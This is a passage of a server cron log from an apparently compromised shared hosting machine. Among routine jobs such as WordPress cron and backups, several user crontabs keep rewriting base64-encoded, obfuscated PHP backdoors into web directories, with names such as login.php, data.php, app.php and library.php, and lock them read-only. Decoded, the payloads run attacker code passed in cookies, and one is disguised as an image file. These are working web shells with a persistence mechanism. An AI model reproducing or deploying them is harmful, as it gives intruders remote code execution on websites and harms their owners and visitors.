oaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:30:02 medusa CROND[2598]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 11:30:02 medusa CROND[2611]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2615]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:30:02 medusa CROND[2610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:30:02 medusa CROND[2622]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:30:02 medusa CROND[2624]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:30:02 medusa CROND[2627]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2628]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:30:02 medusa CROND[2626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2633]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:30:02 medusa CROND[2634]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:30:02 medusa CROND[2637]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:30:02 medusa CROND[2651]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 11:30:02 medusa CROND[2652]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 11:31:01 medusa CROND[18389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:31:01 medusa CROND[18390]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:31:01 medusa CROND[18391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:31:01 medusa CROND[18392]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:31:01 medusa CROND[18398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:31:01 medusa CROND[18399]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:31:01 medusa CROND[18401]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:31:01 medusa CROND[18407]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:31:01 medusa CROND[18402]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:31:01 medusa CROND[18412]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:31:01 medusa CROND[18403]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:31:01 medusa CROND[18413]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:31:01 medusa CROND[18416]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:32:01 medusa CROND[4899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:32:01 medusa CROND[4908]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:32:01 medusa CROND[4997]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:32:01 medusa CROND[5112]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:32:01 medusa CROND[5114]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:32:01 medusa CROND[5116]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:32:01 medusa CROND[5115]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:32:01 medusa CROND[5119]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:32:01 medusa CROND[5120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:32:01 medusa CROND[5122]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:32:01 medusa CROND[5127]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:32:01 medusa CROND[5129]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:32:01 medusa CROND[5143]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXN